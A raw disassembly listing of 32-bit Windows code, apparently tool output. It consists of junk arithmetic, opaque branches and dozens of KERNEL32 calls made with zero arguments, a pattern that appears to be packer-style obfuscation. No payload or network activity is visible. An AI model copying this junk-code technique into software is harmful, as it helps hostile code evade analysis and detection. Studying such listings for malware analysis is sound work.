push edx
push eax
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.004052d0
and ebx, eax
mov eax, dword [ebp - 0x25c]
and eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
jmp 0x41e8e3
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov edi, eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00405f00
movzx ecx, al
sub edi, ecx
sub edi, 0x6b83c
and esi, edi
or esi, 0x473bc
xor edi, edi
mov edx, 0x2833e
sub edx, dword [ebp - 0x10c]
movzx eax, byte [ebp - 0x81]
sub edx, eax
add edx, dword [ebp - 0x10c]
mov ebx, edx
xor eax, eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0xac]
mov dword [ebp - 0x260], eax
mov eax, edx
cdq
push edx
push eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.004052d0
sub ebx, eax
mov eax, dword [ebp - 0x260]
sbb eax, edx
or esi, ebx
or edi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor ecx, ecx
or esi, eax
or edi, ecx
or esi, 0x6bc56
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor edx, edx
or esi, eax
or edi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
xor ecx, ecx
or esi, eax
or edi, ecx
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x10c]
cmp edx, dword [ebp - 0x10c]
je 0x41e9a7
cmp dword [ebp - 0x10c], 0x33d4d
jne 0x41e9a7
cmp dword [ebp - 0x10c], 0
jne 0x41e9a7
cmp dword [ebp - 0x10c], 0x6528e
jne 0x41e9a7
movzx eax, byte [ebp - 0x81]
sub eax, 0xa58e6
cdq
mov ebx, eax
mov esi, edx
movzx eax, word [ebp - 0xac]
sub eax, 0xef2d
cdq
add eax, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
sub eax, 0x3baca
sbb edx, 0
or ebx, eax
or esi, edx
mov edi, dword [ebp - 0x10c]
and edi, 0x269e7
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
call fcn.004050c0
movzx eax, ax
mov ecx, 0x76a33
sub ecx, eax
and edi, ecx
xor edx, edx
or ebx, edi
or esi, edx
mov byte [ebp - 0x81], bl
jmp 0x41e9e9
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.00407800
movzx edx, ax
mov eax, dword [ebp - 0x10c]
sub eax, edx
sub eax, dword [ebp - 0x10c]
mov dword [ebp - 0x144], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
xor edi, edi
movzx ecx, byte [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.004052d0
mov ebx, 0xffa9
sub ebx, eax
mov eax, 0
sbb eax, edx
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
movzx edx, word [ebp - 0x144]
push edx
movzx ecx, word [ebp - 0xac]
mov dword [ebp - 0x264], eax
mov eax, ecx
cdq
push edx
push eax
call fcn.00407440
movzx eax, ax
cdq
add ebx, eax
mov eax, dword [ebp - 0x264]
adc eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
movzx edx, byte [ebp - 0x81]
add edx, dword [ebp - 0x10c]
mov esi, edx
xor edi, edi
mov ebx, dword [ebp - 0x70]
add ebx, 0x14bbb
mov eax, dword [ebp - 0x6c]
adc eax, 0
sub ebx, 0x7adf3
sbb eax, 0
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add ebx, ecx
adc eax, edx
mov ecx, dword [ebp - 0x10c]
xor edx, edx
sub ebx, ecx
sbb eax, edx
add ebx, 0x4f213
adc eax, 0
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add ebx, ecx
adc eax, edx
add ebx, 0x330e9
adc eax, 0
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
movzx dx, byte [ebp - 0x81]
movzx ecx, dx
push ecx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
mov dword [ebp - 0x268], eax
call fcn.00407440
movzx eax, ax
cdq
add ebx, eax
mov eax, dword [ebp - 0x268]
adc eax, edx
push 0
push 0
push 0
mov dword [ebp - 0x26c], eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
xor edx, edx
add ebx, eax
mov eax, dword [ebp - 0x26c]
adc eax, edx
push 0
mov dword [ebp - 0x270], eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
xor ecx, ecx
sub ebx, eax
mov eax, dword [ebp - 0x270]
sbb eax, ecx
and esi, ebx
and edi, eax
or esi, 0x48329
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
mov edx, dword [ebp - 0x10c]
sub edx, dword [ebp - 0x10c]
and edx, 0x12a2d
mov esi, edx
xor edi, edi
call fcn.00401400
or esi, eax
or edi, edx
mov dword [ebp - 0x144], esi
mov esi, dword [ebp - 0x10c]
add esi, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.00405f00
movzx edx, al
sub esi, edx
xor eax, eax
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add ecx, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
adc edi, edx
and esi, ecx
and eax, edi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
mov eax, 0x1c71d
sub eax, dword [ebp - 0x10c]
mov esi, eax
xor edi, edi
call fcn.00416f10
sub esi, eax
sbb edi, edx
add esi, 0x10b40
adc edi, 0
mov ecx, dword [ebp - 0x10c]
add ecx, 0x43c66
xor edx, edx
or esi, ecx
or edi, edx
mov word [ebp - 0xac], si
mov dword [ebp - 0x144], 0x330f7
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea esi, [ecx + eax - 0x7e857]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub esi, eax
mov edi, dword [ebp - 0x10c]
xor ebx, ebx
mov edx, dword [ebp - 0x144]
push edx
call fcn.00406370
sub edi, eax
sbb ebx, edx
mov ecx, edi
shr esi, cl
and esi, 0x3dc63
or esi, dword [ebp - 0x10c]
xor edi, edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov ebx, eax
call fcn.00415bd0
add ebx, eax
xor eax, eax
sub ebx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
push 0
mov dword [ebp - 0x274], eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, dword [ebp - 0x10c]
xor ecx, ecx
and ebx, eax
mov eax, dword [ebp - 0x274]
and eax, ecx
or esi, ebx
or edi, eax
mov edx, dword [ebp - 0x10c]
xor eax, eax
or esi, edx
or edi, eax
mov dword [ebp - 0x144], esi
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
mov esi, eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.004049b0
movzx ecx, ax
add esi, ecx
call fcn.00419940
movzx edx, ax
add esi, edx
mov word [ebp - 0xac], si
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.0043d960
mov esi, eax
mov edi, edx
add esi, 0x4e503
adc edi, 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueEx]
xor edx, edx
sub esi, eax
sbb edi, edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
xor ecx, ecx
or esi, eax
or edi, ecx
movzx edx, word [ebp - 0xac]
add edx, dword [ebp - 0x10c]
and edx, 0x7d0a0
xor eax, eax
or esi, edx
or edi, eax
mov dword [ebp - 0x144], esi
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x485ca
movzx edx, byte [ebp - 0x81]
sub ecx, edx
mov eax, dword [ebp - 0x10c]
and eax, 0x7ec00
or ecx, eax
mov dword [ebp - 0x144], ecx
xor ecx, ecx
jne 0x41edc3
cmp dword [ebp - 0x10c], 0x301b8
jne 0x41ee61
movzx edx, word [ebp - 0xac]
push edx
call fcn.00408380
mov esi, dword [ebp - 0x10c]
sub esi, eax
movzx eax, word [ebp - 0xac]
add esi, eax
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, eax
shl esi, cl
xor edi, edi
mov ecx, dword [ebp - 0x10c]
add ecx, 0x4d12
sub ecx, dword [ebp - 0x10c]
mov ebx, ecx
xor eax, eax
mov dword [ebp - 0x278], eax
call fcn.00403d30
sub ebx, eax
mov eax, dword [ebp - 0x278]
sbb eax, edx
push 0
push 0
mov dword [ebp - 0x27c], eax
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
add ebx, eax
mov eax, dword [ebp - 0x27c]
adc eax, edx
and esi, ebx
and edi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
add eax, 0x38d82
xor ecx, ecx
or esi, eax
or edi, ecx
mov edx, dword [ebp - 0x10c]
xor eax, eax
or esi, edx
or edi, eax
mov dword [ebp - 0x144], esi
jmp 0x41ee92
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0x53557]
and edx, 0x8010
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x10c]
or edx, eax
mov byte [ebp - 0x81], dl
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
mov esi, eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea ecx, [esi + eax + 0x6a05b]
movzx edx, word [ebp - 0xac]
lea esi, [ecx + edx - 0x44960]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
sub esi, eax
add esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
add esi, eax
movzx eax, word [ebp - 0xac]
add esi, eax
movzx ecx, word [ebp - 0xac]
sub esi, ecx
and esi, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x10c]
or esi, edx
mov dword [ebp - 0x144], esi
mov eax, dword [ebp - 0x10c]
add eax, 0x81438
and eax, dword [ebp - 0x10c]
mov dword [ebp - 0x144], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
mov esi, eax
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
sub esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
add esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
sub esi, eax
xor esi, 0x6bb52
or esi, dword [ebp - 0x10c]
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor eax, eax
push 0
push 0
push 0
mov dword [ebp - 0x280], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
xor ecx, ecx
movzx edx, byte [ebp - 0x144]
push edx
mov edx, dword [ebp - 0x144]
push edx
movzx edx, word [ebp - 0xac]
push edx
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x284], edi
xor edi, edi
push edi
push edx
movzx edx, word [ebp - 0x144]
push edx
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x28c], ecx
call fcn.00415020
mov edi, dword [ebp - 0x288]
sub edi, eax
mov eax, dword [ebp - 0x28c]
sbb eax, edx
sub edi, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
add edi, 0x5a07a
adc eax, 0
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add edi, ecx
adc eax, edx
and ebx, edi
mov edi, dword [ebp - 0x280]
and edi, eax
or esi, ebx
mov ebx, dword [ebp - 0x284]
or ebx, edi
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x10c]
xor ecx, ecx
or esi, eax
or ebx, ecx
mov dword [ebp - 0x144], esi
movzx esi, byte [ebp - 0x81]
add esi, 0x55c75
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
sub esi, eax
xor edi, edi
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x70]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.00419610
mov ecx, dword [ebp - 0x10c]
xor ebx, ebx
add eax, ecx
adc edx, ebx
sub eax, 0x5fee0
sbb edx, 0
and esi, eax
and edi, edx
mov dword [ebp - 0x144], esi
mov dword [ebp - 0x144], 0xfffb118a
cmp dword [ebp - 0x10c], 0
je 0x41f0ca
xor edx, edx
jne 0x41f0ca
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
call fcn.004049b0
movzx eax, ax
cmp dword [ebp - 0x10c], eax
je 0x41f123
call fcn.00403d30
mov esi, 0x36dbf
sub esi, eax
mov edi, 0
sbb edi, edx
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add esi, ecx
adc edi, edx
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
add esi, eax
adc edi, ecx
mov edx, dword [ebp - 0x10c]
xor eax, eax
sub esi, edx
sbb edi, eax
add esi, 0x49602
adc edi, 0
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.004057a0
sub esi, eax
sbb edi, edx
mov dword [ebp - 0x144], esi
jmp 0x41f17c
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x70]
push edx
movzx eax, word [ebp - 0xac]
push eax
call section..text
mov ecx, 0x21bf8
sub ecx, eax
mov eax, 0
sbb eax, edx
sub ecx, 0x31220
sbb eax, 0
sub ecx, 0x2f263
sbb eax, 0
add ecx, 0xd824f
adc eax, 0
mov byte [ebp - 0x81], cl
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
and eax, 0xa1ae
mov byte [ebp - 0x81], al
mov esi, dword [ebp - 0x10c]
add esi, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x7e90a
and esi, ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
add eax, dword [ebp - 0x10c]
and esi, eax
and esi, 0x308d3
or esi, dword [ebp - 0x10c]
mov word [ebp - 0xac], si
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00405a50
movzx eax, ax
and eax, 0x662d3
mov ecx, dword [ebp - 0x10c]
and ecx, 0x33887
or eax, ecx
mov word [ebp - 0xac], ax
movzx edx, word [ebp - 0x144]
push edx
call fcn.004057a0
mov esi, eax
mov edi, edx
sub esi, 0x79802
sbb edi, 0
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0xac]
push ecx
call fcn.00405fd0
movzx eax, ax
cdq
sub esi, eax
sbb edi, edx
mov word [ebp - 0xac], si
movzx edx, byte [ebp - 0x81]
push edx
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, word [ebp - 0xac]
push edx
movzx eax, word [ebp - 0xac]
push eax
call fcn.00401950
movzx ecx, ax
sub ecx, 0x2624b
movzx edx, word [ebp - 0xac]
or ecx, edx
mov dword [ebp - 0x144], ecx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x70]
push edx
movzx eax, word [ebp - 0xac]
push eax
call fcn.0043dd10
movzx ebx, ax
sub ebx, dword [ebp - 0x10c]
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.0043d960
mov ecx, 0x27fa9
sub ecx, eax
mov eax, 0
sbb eax, edx
mov edx, dword [ebp - 0x10c]
xor esi, esi
sub ecx, edx
sbb eax, esi
shr ebx, cl
and ebx, 0x3278c
mov byte [ebp - 0x81], bl
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
and eax, 0x732b3
mov dword [ebp - 0x144], eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
sub eax, dword [ebp - 0x10c]
mov esi, eax
xor edi, edi
movzx eax, byte [ebp - 0x81]
push eax
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.004052d0
mov ebx, eax
mov eax, edx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
mov dword [ebp - 0x290], eax
call fcn.00404060
movzx edx, ax
xor eax, eax
and ebx, edx
mov ecx, dword [ebp - 0x290]
and ecx, eax
mov edx, dword [ebp - 0x10c]
xor eax, eax
and ebx, edx
and ecx, eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx edx, byte [ebp - 0x144]
push edx
mov dword [ebp - 0x294], ecx
call fcn.00405f00
movzx eax, al
add eax, 0xfdfd
cdq
and ebx, eax
mov eax, dword [ebp - 0x294]
and eax, edx
or esi, ebx
or edi, eax
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, byte [ebp - 0x70]
push edx
call fcn.00405d30
add eax, 0x68bd9
adc edx, 0
or esi, eax
or edi, edx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov esi, 0x20e8
sub esi, eax
add esi, dword [ebp - 0x10c]
add esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
or esi, eax
or esi, 0x44fdf
movzx edi, word [ebp - 0xac]
call fcn.004174f0
sub edi, eax
or esi, edi
mov word [ebp - 0xac], si
cmp dword [ebp - 0x10c], 0
jne 0x41f531
movzx eax, byte [ebp - 0x81]
add eax, 0xb17f
movzx ecx, word [ebp - 0xac]
mov edx, 0x65e4c
sub edx, ecx
movzx ecx, word [ebp - 0xac]
sub edx, ecx
add edx, 0x7922
and eax, edx
mov word [ebp - 0xac], ax
jmp 0x41f5ba
mov esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
sub esi, 0x20258
sub esi, dword [ebp - 0x10c]
sub esi, 0x14210
movzx edi, word [ebp - 0xac]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExA]
lea edx, [edi + eax - 0x3e16d]
and esi, edx
xor edi, edi
call fcn.00416f10
mov ecx, eax
mov ebx, edx
movzx eax, byte [ebp - 0x81]
cdq
sub ecx, eax
sbb ebx, edx
mov edx, dword [ebp - 0x10c]
xor eax, eax
sub ecx, edx
sbb ebx, eax
and esi, ecx
and edi, ebx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor ecx, ecx
and esi, eax
and edi, ecx
movzx eax, word [ebp - 0xac]
cdq
and esi, eax
and edi, edx
mov dword [ebp - 0x144], esi
movzx edx, word [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.004049b0
movzx edx, ax
cmp dword [ebp - 0x10c], edx
jne 0x41f663
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00418440
mov esi, eax
mov edi, edx
add esi, dword [ebp - 0x70]
adc edi, dword [ebp - 0x6c]
call fcn.00406b30
movzx eax, ax
cdq
sub esi, eax
sbb edi, edx
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
movzx edx, word [ebp - 0xac]
movzx ebx, byte [ebp - 0x81]
add edx, dword [ebp - 0x10c]
add ebx, edx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
sub ebx, eax
xor eax, eax
or esi, ebx
or edi, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
jmp 0x41f6b6
mov esi, dword [ebp - 0x10c]
or esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edi, 0x36005
sub edi, eax
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
add edi, eax
sub edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
sub edi, eax
add edi, 0x2cfa7
or esi, edi
xor ecx, ecx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], ecx
movzx edx, word [ebp - 0xac]
movzx eax, byte [ebp - 0x81]
cmp edx, eax
jne 0x41f6da
call fcn.00415bd0
and eax, 0x173c5
mov dword [ebp - 0x144], eax
jmp 0x41f73c
movzx esi, byte [ebp - 0x81]
movzx ecx, word [ebp - 0xac]
sub esi, ecx
and esi, 0x52534
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
mov edi, eax
sub edi, 0x21e1e
movzx edx, byte [ebp - 0x81]
sub edi, edx
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea eax, [edi + eax + 0x61025]
and esi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
sub eax, 0x5a2c1
and esi, eax
mov word [ebp - 0xac], si
movzx esi, word [ebp - 0xac]
add esi, 0x7b363
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00407440
movzx ecx, ax
sub esi, ecx
mov edx, dword [ebp - 0x10c]
add edx, 0x44697
and esi, edx
mov edi, dword [ebp - 0x10c]
sub edi, 0x116be
call fcn.00415bd0
add eax, dword [ebp - 0x10c]
and edi, eax
or esi, edi
or esi, 0x50a9e
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
mov esi, eax
add esi, 0x78802
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
or esi, eax
movzx eax, word [ebp - 0xac]
or esi, eax
mov dword [ebp - 0x144], esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
sub esi, eax
movzx ecx, byte [ebp - 0x81]
lea esi, [esi + ecx + 0xa7160]
or esi, 0x4122c
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0x7fd30]
sub eax, dword [ebp - 0x10c]
add eax, 0x6a16a
or esi, eax
xor ecx, ecx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x10c]
add edx, 0x535a9
or edx, 0x8db0
mov byte [ebp - 0x81], dl
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
sub eax, dword [ebp - 0x10c]
add eax, 0x1ae49
xor ecx, ecx
mov edx, dword [ebp - 0x70]
add edx, 0x73a22
mov esi, dword [ebp - 0x6c]
adc esi, 0
sub edx, 0x20a7f
sbb esi, 0
or eax, edx
or ecx, esi
or eax, 0x6af76
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x10c], 0x55fbc
jne 0x41f8c4
cmp dword [ebp - 0x10c], 0x45968
je 0x41f8eb
mov eax, 1
test eax, eax
je 0x41f8dd
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleActiveScreenBuffer]
cmp dword [ebp - 0x10c], eax
ja 0x41f8eb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
test eax, eax
jne 0x41f957
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esi, eax
add esi, dword [ebp - 0x10c]
and esi, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
call fcn.00407800
movzx ecx, ax
mov edx, dword [ebp - 0x10c]
sub edx, ecx
and esi, edx
and esi, dword [ebp - 0x10c]
xor esi, 0x505a3
mov dword [ebp - 0x144], esi
jmp 0x41f9ef
mov eax, dword [ebp - 0x10c]
add eax, 0x453bb
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
mov esi, eax
xor edi, edi
movzx edx, byte [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.00415020
mov ebx, eax
mov eax, edx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
mov edx, dword [ebp - 0x144]
push edx
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov dword [ebp - 0x298], eax
call fcn.00407440
movzx eax, ax
sub eax, 0x7c01
cdq
and ebx, eax
mov eax, dword [ebp - 0x298]
and eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
push 0
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
movzx edx, ax
cmp dword [ebp - 0x10c], edx
je 0x41faeb
movzx eax, byte [ebp - 0x81]
cmp eax, 0x1a12d
jge 0x41faeb
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
jne 0x41fb8e
movzx ecx, word [ebp - 0xac]
cmp ecx, 0x40141
jne 0x41fb8e
